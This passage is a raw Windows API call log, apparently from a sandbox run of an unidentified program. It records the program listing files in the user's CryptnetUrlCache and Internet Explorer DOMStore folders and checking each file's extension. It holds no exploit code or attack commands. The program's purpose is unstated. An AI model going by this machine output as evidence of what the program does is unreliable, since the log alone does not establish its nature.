ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0127.394] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0127.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.394] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0127.394] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0127.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.394] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0127.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0127.395] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.395] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0127.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0127.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.396] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0127.396] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.397] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.397] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0127.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.398] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.398] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.398] PathFindFileNameW (pszPath="") returned="" [0127.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.399] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 